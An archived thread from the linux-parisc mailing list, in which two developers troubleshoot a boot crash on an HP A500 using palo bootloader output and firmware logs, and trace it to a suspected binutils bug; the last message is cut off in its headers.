Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cB6Cw-0004xU-Rz
	for glpp-linux-parisc@m.gmane.org; Sun, 27 Nov 2016 21:37:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752661AbcK0Uh6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 27 Nov 2016 15:37:58 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:64831 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752641AbcK0Uh6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 27 Nov 2016 15:37:58 -0500
Original-Received: from [192.168.20.60] ([92.203.43.43]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M1FAK-1czm3M1uSe-00tETR; Sun, 27
 Nov 2016 21:37:52 +0100
In-Reply-To: <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
X-Provags-ID: V03:K0:+dhaREsy6gqIWBmdKfqtdR998WYQAzr504PHtC8D98tmi1AkCCA
 m3bQXbt2d1ZLWQFI8sqX18/ZjesbVMpQAqc5fgcqEOURapdVJpZpSTmWN21T+Lepaw4bkLq
 D7y/kPehHlz2QipZjtt4zaSEmtWrrbN6k9Ztg5hdfWm6q2l/RlswZxzu2v1l7OIwMcI68/P
 HoYQJXmLVe4u2BVAFeIvg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:e2k/wBXrAVc=:dxG2BOKa1BntZzspRDAykB
 nJBiYsKBgznIWpbw3LiyuRLiNXyr2mGnypJ7so4y1SsAeykfqk5JsNo2sVdYBTPkUp89pkVIK
 TYBT5YHpeeNaq3Y7z+1qELuLSra6vfnHwpQrhpOImNzjwUVZEvF5hZk6GI1f/YeCcK7ASPRiI
 MWJTwrG0iJusXKUbfAmzYzPUqSjADwKadEQDFxcGooPY1d8Vdt+z74O6f2UhQ9xv2CUvDi+ke
 MATysokeTz57xA2AY8+NtN8TTc4ZpOT0mjWDjF9AZ97iAaQiMkczb5y5dEjay7LBkdjOZ1+R7
 SAWyaR5AR2Z8birf8ONKPdeUPFmVtTPPoyWlBitJvb0ZkWI3ot3Q3TztNQOqnA7jdg2YL5nAz
 HGzL+fCwMDYtFArt+3yKheLb75LcGvCwvNrjc/3FU5uFg4fN6bmVomv0LXt34AEhXfCHR6api
 2MIuWugOT8uz7PPRCytmf13Vy7ISf67BoohHmRFASt4EBjG2dI2SsSYJET8fYXFJirtwQNJVN
 a8ENILzPvwCKRZwWAtbbDYNnad5G1LvMwfh4MkJpWhNbKIQiEmN+hVswROK5i7ICxkoPb+3xu
 8ldOfqn0vv5mm9m5FNSweO+pI+pwF7fhwr3cA/rpdo/qJ3W2+/d6LJerM3MJTgVePi/r6mVtd
 lqaKxTaamWaA/H7AWj5Z+BQVS9NMWHODxeWY1k39WObwXdGUeZTinDm1sZIXlh4sULUhOIho3
 0w55w47llSn8XBKPAHrXXIwAAwU2EPLV75ckzMW2Mrej9hG/vPvnnvlQL8ZOmBPR7J+XbKeJ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27074
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27074>

On 27.11.2016 22:35, Meelis Roos wrote:
> Cloned git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git 
> and built and installed it.
> 
>>    You should build palo 1.96, and then *install* it into
>>    your palo boot partition:  run "palo -v" once.
> 
> palo version 1.96 http://www.parisc-linux.org - Sun Nov 27 21:27:38 EET 2016
> Partition Start(MB) End(MB) Id Type
> 1               1      32   f0 Palo
> 2              33     224   83 ext2
> 3             225   31696   83 ext2
> 4           31697   34732   83 ext2
> F0 partition start sector 32 length 65504
> do_ra(1, 4, -1, -1, '2/vmlinux root=/dev/sda3 console=ttyS0', 3, -1, 16384, 33538048)
> check_bootloader 215
> checksum(0x331d8, 45056) = 0x00000000
> ipl: addr 16384 size 45056 entry 0x0
>  ko 0x0 ksz 0 knsz 0 k64o 0x0 k64sz 0 k64nsz 0 rdo 0 rdsz 0
> <2/vmlinux root=/dev/sda3 console=ttyS0>
> check_bootloader 670
> checksum(0x281d0, 45056) = 0x00000000
> ipl: addr 16384 size 45056 entry 0x0
>  ko 0x0 ksz 0 knsz 0 k64o 0x0 k64sz 0 k64nsz 0 rdo 0 rdsz 0
> <2/vmlinux root=/dev/sda3 console=ttyS0>

Good.

>> 3. Pull and build Linus' latest git tree to get latest parisc fixes
> 
> Built.

Ok.
I assume you copied it to /boot/vmlinux then ?

>> 4. boot again, palo should report version 1.96 and it should start your new kernel.
> 
> Unfortunately, still the same. 
> Is iplboot precompiled? It shows 08 Oct.

Yes, it's precompiled (needed if palo is built on other architectures).
You can compile it yourself with "make iplboot".
But the precompiled version works for me, so I don't think it's related to your boot problem.

> Trying Primary Boot Path
> ------------------------
> Booting... 
> Boot IO Dependent Code (IODC) revision 1
> 
> 
> HARD Booted.
> palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100

Good.
 
> Partition Start(MB) End(MB) Id Type
> 1               1      32   f0 Palo
> 2              33     224   83 ext2
> 3             225   31696   83 ext2
> 4           31697   34732   83 ext2
> 
> PALO(F0) partition contains:
> 
> Command line for kernel: 'root=/dev/sda3 console=ttyS0 
> palo_kernel=2/vmlinux'
> Selected kernel: /vmlinux from partition 2

I'm missing here the information of the various sections
in the vmlinux file which the boot loader usually prints
here.

Can you please check (e.g. readelf/objdump) your vmlinux file?
I assume partition 2 is your /boot partition, in which case it's /boot/vmlinux.

There seems to be a current problem with latest binutils (on x86_64), but
not sure if this affects you.

Helge

> ************* SYSTEM ALERT **************
> SYSTEM NAME: a500-m
> DATE: 11/27/2016 TIME: 19:34:16
> ALERT LEVEL: 7 = reserved
> 
> REASON FOR ALERT
> SOURCE: 0 = unknown, no source stated
> SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
> PROBLEM DETAIL: 0 = no problem detail

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 01:45:47 +0200 (EET)
Lines: 227
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee> <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de> <alpine.LRH.2.20.1611272329430.19497@math.ut.ee> <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480284815 16199 195.159.176.226 (27 Nov 2016 22:13:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 27 Nov 2016 22:13:35 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 27 23:13:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cB7hR-0003I3-Or
	for glpp-linux-parisc@m.gmane.org; Sun, 27 Nov 2016 23:13:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752329AbcK0WNd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 27 Nov 2016 17:13:33 -0500
Original-Received: from smtp1.it.da.ut.ee ([193.40.5.66]:59769 "EHLO smtp1.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751154AbcK0WNc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 27 Nov 2016 17:13:32 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp1.it.da.ut.ee (Postfix) with ESMTP id ADA169007A;
        Mon, 28 Nov 2016 00:13:28 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 808D6221742; Mon, 28 Nov 2016 01:45:47 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id CB5D622038D;
        Mon, 28 Nov 2016 01:45:47 +0200 (EET)
In-Reply-To: <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27075
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27075>

> > Cloned git://git.kernel.org/pub/scm/linux/kernel/git/deller/palo.git 
> > and built and installed it.
> > 
> >>    You should build palo 1.96, and then *install* it into
> >>    your palo boot partition:  run "palo -v" once.
> > 
> > palo version 1.96 http://www.parisc-linux.org - Sun Nov 27 21:27:38 EET 2016
> > Partition Start(MB) End(MB) Id Type
> > 1               1      32   f0 Palo
> > 2              33     224   83 ext2
> > 3             225   31696   83 ext2
> > 4           31697   34732   83 ext2
> > F0 partition start sector 32 length 65504
> > do_ra(1, 4, -1, -1, '2/vmlinux root=/dev/sda3 console=ttyS0', 3, -1, 16384, 33538048)
> > check_bootloader 215
> > checksum(0x331d8, 45056) = 0x00000000
> > ipl: addr 16384 size 45056 entry 0x0
> >  ko 0x0 ksz 0 knsz 0 k64o 0x0 k64sz 0 k64nsz 0 rdo 0 rdsz 0
> > <2/vmlinux root=/dev/sda3 console=ttyS0>
> > check_bootloader 670
> > checksum(0x281d0, 45056) = 0x00000000
> > ipl: addr 16384 size 45056 entry 0x0
> >  ko 0x0 ksz 0 knsz 0 k64o 0x0 k64sz 0 k64nsz 0 rdo 0 rdsz 0
> > <2/vmlinux root=/dev/sda3 console=ttyS0>
> 
> Good.
> 
> >> 3. Pull and build Linus' latest git tree to get latest parisc fixes
> > 
> > Built.
> 
> Ok.
> I assume you copied it to /boot/vmlinux then ?

Yes, as I always do.

> >> 4. boot again, palo should report version 1.96 and it should start your new kernel.
> > 
> > Unfortunately, still the same. 
> > Is iplboot precompiled? It shows 08 Oct.
> 
> Yes, it's precompiled (needed if palo is built on other architectures).
> You can compile it yourself with "make iplboot".
> But the precompiled version works for me, so I don't think it's related to your boot problem.
> 
> > Trying Primary Boot Path
> > ------------------------
> > Booting... 
> > Boot IO Dependent Code (IODC) revision 1
> > 
> > 
> > HARD Booted.
> > palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 +0100
> 
> Good.
>  
> > Partition Start(MB) End(MB) Id Type
> > 1               1      32   f0 Palo
> > 2              33     224   83 ext2
> > 3             225   31696   83 ext2
> > 4           31697   34732   83 ext2
> > 
> > PALO(F0) partition contains:
> > 
> > Command line for kernel: 'root=/dev/sda3 console=ttyS0 
> > palo_kernel=2/vmlinux'
> > Selected kernel: /vmlinux from partition 2
> 
> I'm missing here the information of the various sections
> in the vmlinux file which the boot loader usually prints
> here.

Well, I did not leave anything out AFAIK?

> 
> Can you please check (e.g. readelf/objdump) your vmlinux file?
> I assume partition 2 is your /boot partition, in which case it's /boot/vmlinux.

To discontinue, press any key within 10 seconds.

Boot terminated.


---- Main Menu 
---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 
+0100

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     224   83 ext2
3             225   31696   83 ext2
4           31697   34732   83 ext2

PALO(F0) partition contains:
Current command line:
2/vmlinux root=/dev/sda3 console=ttyS0
 0: 2/vmlinux
 1: root=/dev/sda3
 2: console=ttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
'x'    reset and reboot machine
? b

Command line for kernel: 'root=/dev/sda3 console=ttyS0 
palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2

************* SYSTEM ALERT **************
SYSTEM NAME: a500-m
DATE: 11/27/2016 TIME: 21:34:57
ALERT LEVEL: 7 = reserved

REASON FOR ALERT
SOURCE: 0 = unknown, no source stated
SOURCE DETAIL: 0 = unknown, no source stated   SOURCE ID: FF
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         FLASH     ON         ON
LED State: Unexpected Reboot. Running non-OS code. Non-critical error 
detected.
Check Chassis and Console Logs for error messages.

0x0000007000FF6292 00000000 00000000 - type  0 = Data Field Unused
0x5800087000FF6292 0000740A 1B152239 - type 11 = Timestamp 11/27/2016 
21:34:57
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry

=====================================================================================
When I boot 4.8.0, I do get some more ouptut:

Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.96 http://www.parisc-linux.org - Sun, 08 Oct 2016 22:40:31 
+0100

Partition Start(MB) End(MB) Id Type
1               1      32   f0 Palo
2              33     224   83 ext2
3             225   31696   83 ext2
4           31697   34732   83 ext2

PALO(F0) partition contains:
Current command line:
2/vmlinux root=/dev/sda3 console=ttyS0
 0: 2/vmlinux
 1: root=/dev/sda3
 2: console=ttyS0

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
'x'    reset and reboot machine
? 0
2/vmlinux-4.8.0
Current command line:
2/vmlinux-4.8.0 root=/dev/sda3 console=ttyS0
 0: 2/vmlinux-4.8.0
 1: root=/dev/sda3
 2: console=ttyS0
<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
'x'    reset and reboot machine
? b

Command line for kernel: 'root=/dev/sda3 console=ttyS0 
palo_kernel=2/vmlinux-4.8.0'
Selected kernel: /vmlinux-4.8.0 from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 4
Segment 0 load 00100000 size 133632 mediaptr 0x1000
Segment 1 load 00121000 size 22176 mediaptr 0x22000
Segment 2 load 00200000 size 5748800 mediaptr 0x28000
Segment 3 load 00800000 size 1011968 mediaptr 0x5a4000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 4.8.0 (mroos@a500) (gcc version 5.4.0 (Gentoo 5.4.0 p1.0) ) #99 Wed Oct 5 20:36:13 EEST 2016

...

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 16:36:37 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>,
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1480347407 18420 195.159.176.226 (28 Nov 2016 15:36:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 15:36:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Meelis Roos" <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 16:36:42 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBNyw-000606-Vy
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 16:36:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933086AbcK1Pgl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 10:36:41 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:57899 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932357AbcK1Pgk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 10:36:40 -0500
Original-Received: from [155.56.68.217] by 3capp-gmx-bs03.server.lan (via HTTP); Mon,
 28 Nov 2016 16:36:37 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:LUZdunt7Ukem6QcW7VJnXwDLvYHsygWrUBtrsNUF+IY
 Uw70GdFJA+Lo2IFDCs4Ao315rYE70jA/RYCqR6pYxYKTsSEwWI
 TkAcP9CtWVos4MXSvo7N6r53tOmMNvmige71WH2zKrYKA5y4TN
 L/unEyvEDbmNap3JFXZcj5jupTTu1wh4HRvpJZW/+P7xyfPuyr
 DxxLpWLw4lzERUD6KeVqSYed4cMDSe2ZfI3OfBqllbJVu9/6u5
 iAqjFpvP7dMtUij3q62HEcT4nAJ5y6m0//s3HZNuay7WuzcStI ITRh7U=
X-UI-Out-Filterresults: notjunk:1;V01:K0:Wg0WnnHFoTk=:TZCgjJNrAP2qABhB1NDS9v
 BqjeNWrDPMYxv1hkIvtfdXgtHcqcXEojpQKWrqAylEMGxvu2QicE3OWn1Ff9oiipOC1GyAz5Q
 XkQVfKo83G+6w0WkE/LkbazSp7Tfw/vXgXo4bdbX8gjyB8TOQ+hncw/j5XoSqOdUpUuTDLXZN
 Bgb82Wsw2ggPMZqRvUbOQjuGtdSIYfMgFpo2eYc+ojz56MdSDdf6UHUCVRdT5nKtW4CYv0XeN
 o33qAcqiEXnlRRUGrq2XJCDtFB+9YHwpQJrlX4jaqXo6QIiG0BbEF6ZTS/iAWw2U5ZSDCeO/m
 MZ7oH+0uwsqW/u3XrG0UpUzsAhO/lGXSeMezNaf9BqDj8npK8HSYG8Bsxc7N49iY7FfAZZRV9
 VjHDffCQrZCP9Nj5Nd4MdiT23ykV4i24pp7+rgU6aT11sXDoJt8rx32LxM25G+wGNH0ojiC2C
 5xNbWR3SeA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27076
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27076>

> > > Partition Start(MB) End(MB) Id Type
> > > 1               1      32   f0 Palo
> > > 2              33     224   83 ext2
> > > 3             225   31696   83 ext2
> > > 4           31697   34732   83 ext2
> > > 
> > > PALO(F0) partition contains:
> > > 
> > > Command line for kernel: 'root=/dev/sda3 console=ttyS0 
> > > palo_kernel=2/vmlinux'
> > > Selected kernel: /vmlinux from partition 2
> > 
> > I'm missing here the information of the various sections
> > in the vmlinux file which the boot loader usually prints
> > here.
> 
> Well, I did not leave anything out AFAIK?

It seems palo can't read the vmlinux file (aka get's confused with the contents
and doesn't print the ELF section list).

Did you maybe used a recent binutils package?
See:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=845690
https://sourceware.org/ml/binutils/2016-11/msg00348.html

Maybe downgrading binutils helps?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 16:40:04 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee>
 <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de>
 <alpine.LRH.2.20.1611272329430.19497@math.ut.ee>
 <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>,
 <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>,
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1480347617 31811 195.159.176.226 (28 Nov 2016 15:40:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 15:40:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Meelis Roos" <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 16:40:11 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBO2L-0006r4-AG
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 16:40:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754473AbcK1PkL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 10:40:11 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:54649 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754759AbcK1PkI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 10:40:08 -0500
Original-Received: from [155.56.68.217] by 3capp-gmx-bs71.server.lan (via HTTP); Mon,
 28 Nov 2016 16:40:04 +0100
Importance: normal
Sensitivity: Normal
In-Reply-To: <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:FK1eq3AnhamJMNwRoBX9WAKBRKGRBVLd6tPv0aKpmFI
 soFM8wDLP1/NG6nNkn4O2gDjMuJ1QY+PxKBEED7wT/y1ZPCJwA
 p6mJez6z6TgD5ZE64LgGuY6P9tFH3owEuYvfkzPzEkK0mlzSgS
 OYzmH8rcyAteukLqQk4kceHu0/T7Ppgk3uC2LDf2aelM2SBa8+
 NUDSGhY4eBEy+fusliOTkLMGtEQWuyn/xCB5uWLNdwuBA1/UAM
 t+bfRtWrRqSX6w4brjQjgcox8DgzGsdJ582C1Qe2Byr+7+nDnV w9uNMA=
X-UI-Out-Filterresults: notjunk:1;V01:K0:O5gssUd4Y1s=:k+XbS+u0FoIxtNAwwrPtZd
 8UAHuBQ2gvWzVM51bKd+KdrkU2/YEoEvMApc5MefpJnSsvX10MFoRu8wSLXkmjDrFPcK3U44G
 cpGREwlFxcLnf3S88ZNwb8oNs1MpfwgUhxKvj7ANkkkyDJJcyq609dMFX+CwQ6Dko3Nn5cbDs
 of28KrwAcMLac07eWh/23EbWM1lFWhiTarHmrtWIl4Dp1nMQevaTXscmjG0bASdkeBJ8S59ju
 fg01RPintmJU87oQwGFK6D3RXtTitfJ59JO5DZPZgED928eLqbGyN6KWKAU7JsWMlUum8C6Tx
 Peij9JJ/4MaIn+0QX8dEvYqR0PXWC4zAyphaISgDJpTGpxu63pN5Q+1ZHO3Qd8oOS+ke0A+GJ
 uECh5jVlicHEM/oO04GgkDEAbSiLREKlIUGgk9WCXlo8TLPf2iRnL7eQaiKUYvUKCja88vUoU
 Wg9ozPQQTQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27077
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27077>

> > > > Command line for kernel: 'root=/dev/sda3 console=ttyS0 
> > > > palo_kernel=2/vmlinux'
> > > > Selected kernel: /vmlinux from partition 2
> > > 
> > > I'm missing here the information of the various sections
> > > in the vmlinux file which the boot loader usually prints
> > > here.
> > 
> > Well, I did not leave anything out AFAIK?
> 
> It seems palo can't read the vmlinux file (aka get's confused with the contents
> and doesn't print the ELF section list).
> 
> Did you maybe used a recent binutils package?
> See:
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=845690
> https://sourceware.org/ml/binutils/2016-11/msg00348.html
> 
> Maybe downgrading binutils helps?

Sorry, I just noticed that you are pretty aware of this bug
(you actually opened the ticket) :-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 28 Nov 2016 19:39:13 +0200 (EET)
Lines: 47
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1611281918510.10341@math.ut.ee>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee> <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de> <alpine.LRH.2.20.1611272329430.19497@math.ut.ee> <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de>, <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>,
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03> <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480349224 26776 195.159.176.226 (28 Nov 2016 16:07:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 28 Nov 2016 16:07:04 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 28 17:06:56 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cBOSD-0005rY-F4
	for glpp-linux-parisc@m.gmane.org; Mon, 28 Nov 2016 17:06:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932728AbcK1QG4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 28 Nov 2016 11:06:56 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:44497 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S932373AbcK1QG4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 28 Nov 2016 11:06:56 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
